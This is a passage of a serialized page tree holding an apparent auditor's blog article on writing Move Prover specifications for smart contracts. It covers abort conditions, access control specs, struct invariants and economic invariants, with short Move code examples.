true;\n}\n",[15046],{"type":21,"tag":78,"props":15047,"children":15048},{"__ignoreMap":7},[15049,15064,15168,15192],{"type":21,"tag":153,"props":15050,"children":15051},{"class":155,"line":156},[15052,15056,15060],{"type":21,"tag":153,"props":15053,"children":15054},{"style":192},[15055],{"type":26,"value":11001},{"type":21,"tag":153,"props":15057,"children":15058},{"style":192},[15059],{"type":26,"value":14708},{"type":21,"tag":153,"props":15061,"children":15062},{"style":160},[15063],{"type":26,"value":236},{"type":21,"tag":153,"props":15065,"children":15066},{"class":155,"line":166},[15067,15071,15075,15080,15084,15088,15092,15096,15100,15104,15108,15112,15116,15120,15124,15128,15132,15136,15140,15144,15148,15152,15156,15160,15164],{"type":21,"tag":153,"props":15068,"children":15069},{"style":192},[15070],{"type":26,"value":12623},{"type":21,"tag":153,"props":15072,"children":15073},{"style":160},[15074],{"type":26,"value":5820},{"type":21,"tag":153,"props":15076,"children":15077},{"style":181},[15078],{"type":26,"value":15079},"value_of_U256",{"type":21,"tag":153,"props":15081,"children":15082},{"style":160},[15083],{"type":26,"value":189},{"type":21,"tag":153,"props":15085,"children":15086},{"style":192},[15087],{"type":26,"value":29},{"type":21,"tag":153,"props":15089,"children":15090},{"style":160},[15091],{"type":26,"value":2362},{"type":21,"tag":153,"props":15093,"children":15094},{"style":198},[15095],{"type":26,"value":4099},{"type":21,"tag":153,"props":15097,"children":15098},{"style":181},[15099],{"type":26,"value":12425},{"type":21,"tag":153,"props":15101,"children":15102},{"style":160},[15103],{"type":26,"value":189},{"type":21,"tag":153,"props":15105,"children":15106},{"style":192},[15107],{"type":26,"value":5972},{"type":21,"tag":153,"props":15109,"children":15110},{"style":160},[15111],{"type":26,"value":11562},{"type":21,"tag":153,"props":15113,"children":15114},{"style":198},[15115],{"type":26,"value":4099},{"type":21,"tag":153,"props":15117,"children":15118},{"style":181},[15119],{"type":26,"value":12425},{"type":21,"tag":153,"props":15121,"children":15122},{"style":160},[15123],{"type":26,"value":189},{"type":21,"tag":153,"props":15125,"children":15126},{"style":192},[15127],{"type":26,"value":5896},{"type":21,"tag":153,"props":15129,"children":15130},{"style":160},[15131],{"type":26,"value":2362},{"type":21,"tag":153,"props":15133,"children":15134},{"style":198},[15135],{"type":26,"value":12664},{"type":21,"tag":153,"props":15137,"children":15138},{"style":214},[15139],{"type":26,"value":12381},{"type":21,"tag":153,"props":15141,"children":15142},{"style":198},[15143],{"type":26,"value":5080},{"type":21,"tag":153,"props":15145,"children":15146},{"style":214},[15147],{"type":26,"value":12381},{"type":21,"tag":153,"props":15149,"children":15150},{"style":198},[15151],{"type":26,"value":5080},{"type":21,"tag":153,"props":15153,"children":15154},{"style":214},[15155],{"type":26,"value":12381},{"type":21,"tag":153,"props":15157,"children":15158},{"style":198},[15159],{"type":26,"value":5080},{"type":21,"tag":153,"props":15161,"children":15162},{"style":214},[15163],{"type":26,"value":12381},{"type":21,"tag":153,"props":15165,"children":15166},{"style":160},[15167],{"type":26,"value":1759},{"type":21,"tag":153,"props":15169,"children":15170},{"class":155,"line":225},[15171,15175,15179,15183,15188],{"type":21,"tag":153,"props":15172,"children":15173},{"style":192},[15174],{"type":26,"value":12921},{"type":21,"tag":153,"props":15176,"children":15177},{"style":192},[15178],{"type":26,"value":11882},{"type":21,"tag":153,"props":15180,"children":15181},{"style":198},[15182],{"type":26,"value":6031},{"type":21,"tag":153,"props":15184,"children":15185},{"style":170},[15186],{"type":26,"value":15187}," true",{"type":21,"tag":153,"props":15189,"children":15190},{"style":160},[15191],{"type":26,"value":1759},{"type":21,"tag":153,"props":15193,"children":15194},{"class":155,"line":239},[15195],{"type":21,"tag":153,"props":15196,"children":15197},{"style":160},[15198],{"type":26,"value":548},{"type":21,"tag":22,"props":15200,"children":15201},{},[15202],{"type":26,"value":15203},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":21,"tag":143,"props":15205,"children":15206},{"code":14665},[15207],{"type":21,"tag":78,"props":15208,"children":15209},{"__ignoreMap":7},[15210],{"type":26,"value":14665},{"type":21,"tag":22,"props":15212,"children":15213},{},[15214,15216,15223],{"type":26,"value":15215},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":21,"tag":29,"props":15217,"children":15220},{"href":15218,"rel":15219},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[33],[15221],{"type":26,"value":15222},"spec-lang.md",{"type":26,"value":15224}," in the Move Repository.",{"type":21,"tag":66,"props":15226,"children":15228},{"id":15227},"use-cases",[15229],{"type":26,"value":15230},"Use Cases",{"type":21,"tag":22,"props":15232,"children":15233},{},[15234],{"type":26,"value":15235},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":21,"tag":22,"props":15237,"children":15238},{},[15239],{"type":26,"value":15240},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":21,"tag":114,"props":15242,"children":15244},{"id":15243},"error-conditions",[15245],{"type":26,"value":15246},"Error Conditions",{"type":21,"tag":22,"props":15248,"children":15249},{},[15250,15252,15258],{"type":26,"value":15251},"Taking an example from ",{"type":21,"tag":78,"props":15253,"children":15255},{"className":15254},[],[15256],{"type":26,"value":15257},"std::fixed_point32",{"type":26,"value":15259},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":21,"tag":143,"props":15261,"children":15263},{"code":15262,"language":147,"meta":7,"className":145,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[15264],{"type":21,"tag":78,"props":15265,"children":15266},{"__ignoreMap":7},[15267,15288,15308,15329,15374,15382,15445,15484],{"type":21,"tag":153,"props":15268,"children":15269},{"class":155,"line":156},[15270,15274,15279,15284],{"type":21,"tag":153,"props":15271,"children":15272},{"style":192},[15273],{"type":26,"value":11653},{"type":21,"tag":153,"props":15275,"children":15276},{"style":192},[15277],{"type":26,"value":15278}," schema",{"type":21,"tag":153,"props":15280,"children":15281},{"style":214},[15282],{"type":26,"value":15283}," MultiplyAbortsIf",{"type":21,"tag":153,"props":15285,"children":15286},{"style":160},[15287],{"type":26,"value":236},{"type":21,"tag":153,"props":15289,"children":15290},{"class":155,"line":166},[15291,15296,15300,15304],{"type":21,"tag":153,"props":15292,"children":15293},{"style":192},[15294],{"type":26,"value":15295},"          val",{"type":21,"tag":153,"props":15297,"children":15298},{"style":198},[15299],{"type":26,"value":201},{"type":21,"tag":153,"props":15301,"children":15302},{"style":192},[15303],{"type":26,"value":12454},{"type":21,"tag":153,"props":15305,"children":15306},{"style":160},[15307],{"type":26,"value":1759},{"type":21,"tag":153,"props":15309,"children":15310},{"class":155,"line":225},[15311,15316,15320,15325],{"type":21,"tag":153,"props":15312,"children":15313},{"style":192},[15314],{"type":26,"value":15315},"          multiplier",{"type":21,"tag":153,"props":15317,"children":15318},{"style":198},[15319],{"type":26,"value":201},{"type":21,"tag":153,"props":15321,"children":15322},{"style":214},[15323],{"type":26,"value":15324}," FixedPoint32",{"type":21,"tag":153,"props":15326,"children":15327},{"style":160},[15328],{"type":26,"value":1759},{"type":21,"tag":153,"props":15330,"children":15331},{"class":155,"line":239},[15332,15337,15342,15346,15350,15354,15359,15364,15369],{"type":21,"tag":153,"props":15333,"children":15334},{"style":192},[15335],{"type":26,"value":15336},"          aborts_if",{"type":21,"tag":153,"props":15338,"children":15339},{"style":181},[15340],{"type":26,"value":15341}," spec_multiply_u64",{"type":21,"tag":153,"props":15343,"children":15344},{"style":160},[15345],{"type":26,"value":189},{"type":21,"tag":153,"props":15347,"children":15348},{"style":192},[15349],{"type":26,"value":525},{"type":21,"tag":153,"props":15351,"children":15352},{"style":160},[15353],{"type":26,"value":1670},{"type":21,"tag":153,"props":15355,"children":15356},{"style":192},[15357],{"type":26,"value":15358},"multiplier",{"type":21,"tag":153,"props":15360,"children":15361},{"style":160},[15362],{"type":26,"value":15363},") > MAX_U64 ",{"type":21,"tag":153,"props":15365,"children":15366},{"style":192},[15367],{"type":26,"value":15368},"with",{"type":21,"tag":153,"props":15370,"children":15371},{"style":160},[15372],{"type":26,"value":15373}," EMULTIPLICATION;\n",{"type":21,"tag":153,"props":15375,"children":15376},{"class":155,"line":382},[15377],{"type":21,"tag":153,"props":15378,"children":15379},{"style":160},[15380],{"type":26,"value":15381},"      }\n",{"type":21,"tag":153,"props":15383,"children":15384},{"class":155,"line":501},[15385,15389,15393,15397,15401,15405,15409,15413,15417,15421,15425,15429,15433,15437,15441],{"type":21,"tag":153,"props":15386,"children":15387},{"style":192},[15388],{"type":26,"value":11653},{"type":21,"tag":153,"props":15390,"children":15391},{"style":192},[15392],{"type":26,"value":8936},{"type":21,"tag":153,"props":15394,"children":15395},{"style":181},[15396],{"type":26,"value":15341},{"type":21,"tag":153,"props":15398,"children":15399},{"style":160},[15400],{"type":26,"value":189},{"type":21,"tag":153,"props":15402,"children":15403},{"style":192},[15404],{"type":26,"value":525},{"type":21,"tag":153,"props":15406,"children":15407},{"style":198},[15408],{"type":26,"value":201},{"type":21,"tag":153,"props":15410,"children":15411},{"style":192},[15412],{"type":26,"value":12454},{"type":21,"tag":153,"props":15414,"children":15415},{"style":160},[15416],{"type":26,"value":1670},{"type":21,"tag":153,"props":15418,"children":15419},{"style":192},[15420],{"type":26,"value":15358},{"type":21,"tag":153,"props":15422,"children":15423},{"style":198},[15424],{"type":26,"value":201},{"type":21,"tag":153,"props":15426,"children":15427},{"style":214},[15428],{"type":26,"value":15324},{"type":21,"tag":153,"props":15430,"children":15431},{"style":160},[15432],{"type":26,"value":2071},{"type":21,"tag":153,"props":15434,"children":15435},{"style":198},[15436],{"type":26,"value":201},{"type":21,"tag":153,"props":15438,"children":15439},{"style":192},[15440],{"type":26,"value":12454},{"type":21,"tag":153,"props":15442,"children":15443},{"style":160},[15444],{"type":26,"value":236},{"type":21,"tag":153,"props":15446,"children":15447},{"class":155,"line":533},[15448,15452,15456,15460,15465,15469,15474,15479],{"type":21,"tag":153,"props":15449,"children":15450},{"style":160},[15451],{"type":26,"value":11436},{"type":21,"tag":153,"props":15453,"children":15454},{"style":192},[15455],{"type":26,"value":525},{"type":21,"tag":153,"props":15457,"children":15458},{"style":198},[15459],{"type":26,"value":5080},{"type":21,"tag":153,"props":15461,"children":15462},{"style":192},[15463],{"type":26,"value":15464}," multiplier",{"type":21,"tag":153,"props":15466,"children":15467},{"style":198},[15468],{"type":26,"value":355},{"type":21,"tag":153,"props":15470,"children":15471},{"style":160},[15472],{"type":26,"value":15473},"value) ",{"type":21,"tag":153,"props":15475,"children":15476},{"style":198},[15477],{"type":26,"value":15478},">>",{"type":21,"tag":153,"props":15480,"children":15481},{"style":300},[15482],{"type":26,"value":15483}," 32\n",{"type":21,"tag":153,"props":15485,"children":15486},{"class":155,"line":542},[15487],{"type":21,"tag":153,"props":15488,"children":15489},{"style":160},[15490],{"type":26,"value":15381},{"type":21,"tag":114,"props":15492,"children":15494},{"id":15493},"access-control-policies",[15495],{"type":26,"value":15496},"Access Control Policies",{"type":21,"tag":22,"props":15498,"children":15499},{},[15500],{"type":26,"value":15501},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":21,"tag":22,"props":15503,"children":15504},{},[15505,15507,15513,15515,15520],{"type":26,"value":15506},"For example, in ",{"type":21,"tag":78,"props":15508,"children":15510},{"className":15509},[],[15511],{"type":26,"value":15512},"std::offer",{"type":26,"value":15514}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":21,"tag":5302,"props":15516,"children":15517},{},[15518],{"type":26,"value":15519},"or",{"type":26,"value":15521}," the recipient is now allowed.",{"type":21,"tag":143,"props":15523,"children":15525},{"code":15524,"language":147,"meta":7,"className":145,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[15526],{"type":21,"tag":78,"props":15527,"children":15528},{"__ignoreMap":7},[15529,15546,15554,15562,15570,15617,15675,15718,15784],{"type":21,"tag":153,"props":15530,"children":15531},{"class":155,"line":156},[15532,15537,15542],{"type":21,"tag":153,"props":15533,"children":15534},{"style":192},[15535],{"type":26,"value":15536},"    spec",{"type":21,"tag":153,"props":15538,"children":15539},{"style":192},[15540],{"type":26,"value":15541}," redeem",{"type":21,"tag":153,"props":15543,"children":15544},{"style":160},[15545],{"type":26,"value":236},{"type":21,"tag":153,"props":15547,"children":15548},{"class":155,"line":166},[15549],{"type":21,"tag":153,"props":15550,"children":15551},{"style":3050},[15552],{"type":26,"value":15553},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":21,"tag":153,"props":15555,"children":15556},{"class":155,"line":225},[15557],{"type":21,"tag":153,"props":15558,"children":15559},{"style":3050},[15560],{"type":26,"value":15561},"      /// cannot redeem the offer.\n",{"type":21,"tag":153,"props":15563,"children":15564},{"class":155,"line":239},[15565],{"type":21,"tag":153,"props":15566,"children":15567},{"style":3050},[15568],{"type":26,"value":15569},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":21,"tag":153,"props":15571,"children":15572},{"class":155,"line":382},[15573,15577,15582,15586,15590,15595,15599,15604,15608,15613],{"type":21,"tag":153,"props":15574,"children":15575},{"style":192},[15576],{"type":26,"value":11777},{"type":21,"tag":153,"props":15578,"children":15579},{"style":198},[15580],{"type":26,"value":15581}," !",{"type":21,"tag":153,"props":15583,"children":15584},{"style":192},[15585],{"type":26,"value":9434},{"type":21,"tag":153,"props":15587,"children":15588},{"style":160},[15589],{"type":26,"value":8537},{"type":21,"tag":153,"props":15591,"children":15592},{"style":214},[15593],{"type":26,"value":15594},"Offer",{"type":21,"tag":153,"props":15596,"children":15597},{"style":160},[15598],{"type":26,"value":8537},{"type":21,"tag":153,"props":15600,"children":15601},{"style":214},[15602],{"type":26,"value":15603},"Offered",{"type":21,"tag":153,"props":15605,"children":15606},{"style":160},[15607],{"type":26,"value":9456},{"type":21,"tag":153,"props":15609,"children":15610},{"style":192},[15611],{"type":26,"value":15612},"offer_address",{"type":21,"tag":153,"props":15614,"children":15615},{"style":160},[15616],{"type":26,"value":530},{"type":21,"tag":153,"props":15618,"children":15619},{"class":155,"line":501},[15620,15624,15628,15633,15637,15641,15645,15649,15654,15658,15662,15666,15671],{"type":21,"tag":153,"props":15621,"children":15622},{"style":192},[15623],{"type":26,"value":11777},{"type":21,"tag":153,"props":15625,"children":15626},{"style":198},[15627],{"type":26,"value":15581},{"type":21,"tag":153,"props":15629,"children":15630},{"style":192},[15631],{"type":26,"value":15632},"is_allowed_recipient",{"type":21,"tag":153,"props":15634,"children":15635},{"style":160},[15636],{"type":26,"value":8537},{"type":21,"tag":153,"props":15638,"children":15639},{"style":214},[15640],{"type":26,"value":15603},{"type":21,"tag":153,"props":15642,"children":15643},{"style":160},[15644],{"type":26,"value":328},{"type":21,"tag":153,"props":15646,"children":15647},{"style":192},[15648],{"type":26,"value":15612},{"type":21,"tag":153,"props":15650,"children":15651},{"style":160},[15652],{"type":26,"value":15653},", signer",{"type":21,"tag":153,"props":15655,"children":15656},{"style":198},[15657],{"type":26,"value":265},{"type":21,"tag":153,"props":15659,"children":15660},{"style":181},[15661],{"type":26,"value":9937},{"type":21,"tag":153,"props":15663,"children":15664},{"style":160},[15665],{"type":26,"value":189},{"type":21,"tag":153,"props":15667,"children":15668},{"style":192},[15669],{"type":26,"value":15670},"account",{"type":21,"tag":153,"props":15672,"children":15673},{"style":160},[15674],{"type":26,"value":9951},{"type":21,"tag":153,"props":15676,"children":15677},{"class":155,"line":533},[15678,15682,15686,15690,15694,15698,15702,15706,15710,15714],{"type":21,"tag":153,"props":15679,"children":15680},{"style":192},[15681],{"type":26,"value":10913},{"type":21,"tag":153,"props":15683,"children":15684},{"style":198},[15685],{"type":26,"value":15581},{"type":21,"tag":153,"props":15687,"children":15688},{"style":192},[15689],{"type":26,"value":9434},{"type":21,"tag":153,"props":15691,"children":15692},{"style":160},[15693],{"type":26,"value":8537},{"type":21,"tag":153,"props":15695,"children":15696},{"style":214},[15697],{"type":26,"value":15594},{"type":21,"tag":153,"props":15699,"children":15700},{"style":160},[15701],{"type":26,"value":8537},{"type":21,"tag":153,"props":15703,"children":15704},{"style":214},[15705],{"type":26,"value":15603},{"type":21,"tag":153,"props":15707,"children":15708},{"style":160},[15709],{"type":26,"value":9456},{"type":21,"tag":153,"props":15711,"children":15712},{"style":192},[15713],{"type":26,"value":15612},{"type":21,"tag":153,"props":15715,"children":15716},{"style":160},[15717],{"type":26,"value":530},{"type":21,"tag":153,"props":15719,"children":15720},{"class":155,"line":542},[15721,15725,15729,15733,15738,15742,15747,15751,15755,15759,15763,15767,15771,15775,15779],{"type":21,"tag":153,"props":15722,"children":15723},{"style":192},[15724],{"type":26,"value":10913},{"type":21,"tag":153,"props":15726,"children":15727},{"style":192},[15728],{"type":26,"value":11882},{"type":21,"tag":153,"props":15730,"children":15731},{"style":198},[15732],{"type":26,"value":6031},{"type":21,"tag":153,"props":15734,"children":15735},{"style":181},[15736],{"type":26,"value":15737}," old",{"type":21,"tag":153,"props":15739,"children":15740},{"style":160},[15741],{"type":26,"value":189},{"type":21,"tag":153,"props":15743,"children":15744},{"style":192},[15745],{"type":26,"value":15746},"global",{"type":21,"tag":153,"props":15748,"children":15749},{"style":160},[15750],{"type":26,"value":8537},{"type":21,"tag":153,"props":15752,"children":15753},{"style":214},[15754],{"type":26,"value":15594},{"type":21,"tag":153,"props":15756,"children":15757},{"style":160},[15758],{"type":26,"value":8537},{"type":21,"tag":153,"props":15760,"children":15761},{"style":214},[15762],{"type":26,"value":15603},{"type":21,"tag":153,"props":15764,"children":15765},{"style":160},[15766],{"type":26,"value":9456},{"type":21,"tag":153,"props":15768,"children":15769},{"style":192},[15770],{"type":26,"value":15612},{"type":21,"tag":153,"props":15772,"children":15773},{"style":160},[15774],{"type":26,"value":2071},{"type":21,"tag":153,"props":15776,"children":15777},{"style":198},[15778],{"type":26,"value":355},{"type":21,"tag":153,"props":15780,"children":15781},{"style":160},[15782],{"type":26,"value":15783},"offered);\n",{"type":21,"tag":153,"props":15785,"children":15786},{"class":155,"line":762},[15787],{"type":21,"tag":153,"props":15788,"children":15789},{"style":160},[15790],{"type":26,"value":539},{"type":21,"tag":22,"props":15792,"children":15793},{},[15794],{"type":26,"value":15795},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":21,"tag":114,"props":15797,"children":15799},{"id":15798},"complex-mathematical-formulae",[15800],{"type":26,"value":15801},"Complex Mathematical Formulae",{"type":21,"tag":22,"props":15803,"children":15804},{},[15805,15807,15812],{"type":26,"value":15806},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":21,"tag":5302,"props":15808,"children":15809},{},[15810],{"type":26,"value":15811},"always",{"type":26,"value":15813}," the output.",{"type":21,"tag":22,"props":15815,"children":15816},{},[15817],{"type":26,"value":15818},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":21,"tag":22,"props":15820,"children":15821},{},[15822,15824,15831],{"type":26,"value":15823},"For example, in our work with ",{"type":21,"tag":29,"props":15825,"children":15828},{"href":15826,"rel":15827},"https://laminar.markets/",[33],[15829],{"type":26,"value":15830},"Laminar Markets",{"type":26,"value":15832},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":21,"tag":114,"props":15834,"children":15836},{"id":15835},"data-invariants",[15837],{"type":26,"value":15838},"Data Invariants",{"type":21,"tag":22,"props":15840,"children":15841},{},[15842,15844,15850,15852,15858,15860,15866,15868,15874],{"type":26,"value":15843},"Formal verification provides the best environment to verify that certain ",{"type":21,"tag":78,"props":15845,"children":15847},{"className":15846},[],[15848],{"type":26,"value":15849},"variables",{"type":26,"value":15851}," or ",{"type":21,"tag":78,"props":15853,"children":15855},{"className":15854},[],[15856],{"type":26,"value":15857},"resources",{"type":26,"value":15859}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":21,"tag":78,"props":15861,"children":15863},{"className":15862},[],[15864],{"type":26,"value":15865},"index",{"type":26,"value":15867}," is never greater than 4 using a ",{"type":21,"tag":78,"props":15869,"children":15871},{"className":15870},[],[15872],{"type":26,"value":15873},"struct invariant",{"type":26,"value":355},{"type":21,"tag":143,"props":15876,"children":15878},{"code":15877,"language":147,"meta":7,"className":145,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[15879],{"type":21,"tag":78,"props":15880,"children":15881},{"__ignoreMap":7},[15882,15898,15914,15921,15928,15943,15967],{"type":21,"tag":153,"props":15883,"children":15884},{"class":155,"line":156},[15885,15889,15894],{"type":21,"tag":153,"props":15886,"children":15887},{"style":170},[15888],{"type":26,"value":12123},{"type":21,"tag":153,"props":15890,"children":15891},{"style":214},[15892],{"type":26,"value":15893}," Type",{"type":21,"tag":153,"props":15895,"children":15896},{"style":160},[15897],{"type":26,"value":236},{"type":21,"tag":153,"props":15899,"children":15900},{"class":155,"line":166},[15901,15906,15910],{"type":21,"tag":153,"props":15902,"children":15903},{"style":192},[15904],{"type":26,"value":15905},"    index",{"type":21,"tag":153,"props":15907,"children":15908},{"style":198},[15909],{"type":26,"value":201},{"type":21,"tag":153,"props":15911,"children":15912},{"style":214},[15913],{"type":26,"value":5187},{"type":21,"tag":153,"props":15915,"children":15916},{"class":155,"line":225},[15917],{"type":21,"tag":153,"props":15918,"children":15919},{"style":160},[15920],{"type":26,"value":548},{"type":21,"tag":153,"props":15922,"children":15923},{"class":155,"line":239},[15924],{"type":21,"tag":153,"props":15925,"children":15926},{"emptyLinePlaceholder":16},[15927],{"type":26,"value":759},{"type":21,"tag":153,"props":15929,"children":15930},{"class":155,"line":382},[15931,15935,15939],{"type":21,"tag":153,"props":15932,"children":15933},{"style":192},[15934],{"type":26,"value":11001},{"type":21,"tag":153,"props":15936,"children":15937},{"style":214},[15938],{"type":26,"value":15893},{"type":21,"tag":153,"props":15940,"children":15941},{"style":160},[15942],{"type":26,"value":236},{"type":21,"tag":153,"props":15944,"children":15945},{"class":155,"line":501},[15946,15950,15955,15959,15963],{"type":21,"tag":153,"props":15947,"children":15948},{"style":192},[15949],{"type":26,"value":11018},{"type":21,"tag":153,"props":15951,"children":15952},{"style":192},[15953],{"type":26,"value":15954}," index",{"type":21,"tag":153,"props":15956,"children":15957},{"style":198},[15958],{"type":26,"value":4094},{"type":21,"tag":153,"props":15960,"children":15961},{"style":300},[15962],{"type":26,"value":14466},{"type":21,"tag":153,"props":15964,"children":15965},{"style":160},[15966],{"type":26,"value":1759},{"type":21,"tag":153,"props":15968,"children":15969},{"class":155,"line":533},[15970],{"type":21,"tag":153,"props":15971,"children":15972},{"style":160},[15973],{"type":26,"value":548},{"type":21,"tag":22,"props":15975,"children":15976},{},[15977,15979,15986,15987,15993],{"type":26,"value":15978},"We were able to verify more complex properties in our recent audits for ",{"type":21,"tag":29,"props":15980,"children":15983},{"href":15981,"rel":15982},"https://layerzero.network/",[33],[15984],{"type":26,"value":15985},"LayerZero",{"type":26,"value":52},{"type":21,"tag":29,"props":15988,"children":15991},{"href":15989,"rel":15990},"http://ariesmarkets.xyz/",[33],[15992],{"type":26,"value":9519},{"type":26,"value":15994},", but the details are left as an exercise to the reader.",{"type":21,"tag":114,"props":15996,"children":15998},{"id":15997},"economic-invariants",[15999],{"type":26,"value":16000},"Economic Invariants.",{"type":21,"tag":22,"props":16002,"children":16003},{},[16004],{"type":26,"value":16005},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":21,"tag":22,"props":16007,"children":16008},{},[16009],{"type":26,"value":16010},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":21,"tag":143,"props":16012,"children":16013},{"code":10694,"language":147,"meta":7,"className":145,"style":7},[16014],{"type":21,"tag":78,"props":16015,"children":16016},{"__ignoreMap":7},[16017,16024,16107,16146,16165,16172,16187,16210,16233,16256],{"type":21,"tag":153,"props":16018,"children":16019},{"class":155,"line":156},[16020],{"type":21,"tag":153,"props":16021,"children":16022},{"style":3050},[16023],{"type":26,"value":10706},{"type":21,"tag":153,"props":16025,"children":16026},{"class":155,"line":166},[16027,16031,16035,16039,16043,16047,16051,16055,16059,16063,16067,16071,16075,16079,16083,16087,16091,16095,16099,16103],{"type":21,"tag":153,"props":16028,"children":16029},{"style":192},[16030],{"type":26,"value":9299},{"type":21,"tag":153,"props":16032,"children":16033},{"style":181},[16034],{"type":26,"value":10718},{"type":21,"tag":153,"props":16036,"children":16037},{"style":160},[16038],{"type":26,"value":189},{"type":21,"tag":153,"props":16040,"children":16041},{"style":192},[16042],{"type":26,"value":10727},{"type":21,"tag":153,"props":16044,"children":16045},{"style":198},[16046],{"type":26,"value":201},{"type":21,"tag":153,"props":16048,"children":16049},{"style":214},[16050],{"type":26,"value":323},{"type":21,"tag":153,"props":16052,"children":16053},{"style":160},[16054],{"type":26,"value":1670},{"type":21,"tag":153,"props":16056,"children":16057},{"style":192},[16058],{"type":26,"value":10744},{"type":21,"tag":153,"props":16060,"children":16061},{"style":198},[16062],{"type":26,"value":201},{"type":21,"tag":153,"props":16064,"children":16065},{"style":214},[16066],{"type":26,"value":323},{"type":21,"tag":153,"props":16068,"children":16069},{"style":160},[16070],{"type":26,"value":2071},{"type":21,"tag":153,"props":16072,"children":16073},{"style":198},[16074],{"type":26,"value":201},{"type":21,"tag":153,"props":16076,"children":16077},{"style":160},[16078],{"type":26,"value":5820},{"type":21,"tag":153,"props":16080,"children":16081},{"style":214},[16082],{"type":26,"value":445},{"type":21,"tag":153,"props":16084,"children":16085},{"style":160},[16086],{"type":26,"value":1670},{"type":21,"tag":153,"props":16088,"children":16089},{"style":214},[16090],{"type":26,"value":445},{"type":21,"tag":153,"props":16092,"children":16093},{"style":160},[16094],{"type":26,"value":2362},{"type":21,"tag":153,"props":16096,"children":16097},{"style":192},[16098],{"type":26,"value":9073},{"type":21,"tag":153,"props":16100,"children":16101},{"style":214},[16102],{"type":26,"value":10789},{"type":21,"tag":153,"props":16104,"children":16105},{"style":160},[16106],{"type":26,"value":236},{"type":21,"tag":153,"props":16108,"children":16109},{"class":155,"line":225},[16110,16114,16118,16122,16126,16130,16134,16138,16142],{"type":21,"tag":153,"props":16111,"children":16112},{"style":170},[16113],{"type":26,"value":10801},{"type":21,"tag":153,"props":16115,"children":16116},{"style":192},[16117],{"type":26,"value":10806},{"type":21,"tag":153,"props":16119,"children":16120},{"style":198},[16121],{"type":26,"value":255},{"type":21,"tag":153,"props":16123,"children":16124},{"style":181},[16125],{"type":26,"value":10815},{"type":21,"tag":153,"props":16127,"children":16128},{"style":160},[16129],{"type":26,"value":189},{"type":21,"tag":153,"props":16131,"children":16132},{"style":192},[16133],{"type":26,"value":10727},{"type":21,"tag":153,"props":16135,"children":16136},{"style":160},[16137],{"type":26,"value":1670},{"type":21,"tag":153,"props":16139,"children":16140},{"style":192},[16141],{"type":26,"value":10744},{"type":21,"tag":153,"props":16143,"children":16144},{"style":160},[16145],{"type":26,"value":530},{"type":21,"tag":153,"props":16147,"children":16148},{"class":155,"line":239},[16149,16153,16157,16161],{"type":21,"tag":153,"props":16150,"children":16151},{"style":181},[16152],{"type":26,"value":10843},{"type":21,"tag":153,"props":16154,"children":16155},{"style":160},[16156],{"type":26,"value":189},{"type":21,"tag":153,"props":16158,"children":16159},{"style":192},[16160],{"type":26,"value":10852},{"type":21,"tag":153,"props":16162,"children":16163},{"style":160},[16164],{"type":26,"value":5909},{"type":21,"tag":153,"props":16166,"children":16167},{"class":155,"line":382},[16168],{"type":21,"tag":153,"props":16169,"children":16170},{"style":160},[16171],{"type":26,"value":8601},{"type":21,"tag":153,"props":16173,"children":16174},{"class":155,"line":501},[16175,16179,16183],{"type":21,"tag":153,"props":16176,"children":16177},{"style":192},[16178],{"type":26,"value":10871},{"type":21,"tag":153,"props":16180,"children":16181},{"style":192},[16182],{"type":26,"value":10718},{"type":21,"tag":153,"props":16184,"children":16185},{"style":160},[16186],{"type":26,"value":236},{"type":21,"tag":153,"props":16188,"children":16189},{"class":155,"line":533},[16190,16194,16198,16202,16206],{"type":21,"tag":153,"props":16191,"children":16192},{"style":192},[16193],{"type":26,"value":10887},{"type":21,"tag":153,"props":16195,"children":16196},{"style":192},[16197],{"type":26,"value":10892},{"type":21,"tag":153,"props":16199,"children":16200},{"style":198},[16201],{"type":26,"value":2367},{"type":21,"tag":153,"props":16203,"children":16204},{"style":170},[16205],{"type":26,"value":10901},{"type":21,"tag":153,"props":16207,"children":16208},{"style":160},[16209],{"type":26,"value":1759},{"type":21,"tag":153,"props":16211,"children":16212},{"class":155,"line":542},[16213,16217,16221,16225,16229],{"type":21,"tag":153,"props":16214,"children":16215},{"style":192},[16216],{"type":26,"value":10913},{"type":21,"tag":153,"props":16218,"children":16219},{"style":192},[16220],{"type":26,"value":10918},{"type":21,"tag":153,"props":16222,"children":16223},{"style":198},[16224],{"type":26,"value":10923},{"type":21,"tag":153,"props":16226,"children":16227},{"style":192},[16228],{"type":26,"value":10928},{"type":21,"tag":153,"props":16230,"children":16231},{"style":160},[16232],{"type":26,"value":1759},{"type":21,"tag":153,"props":16234,"children":16235},{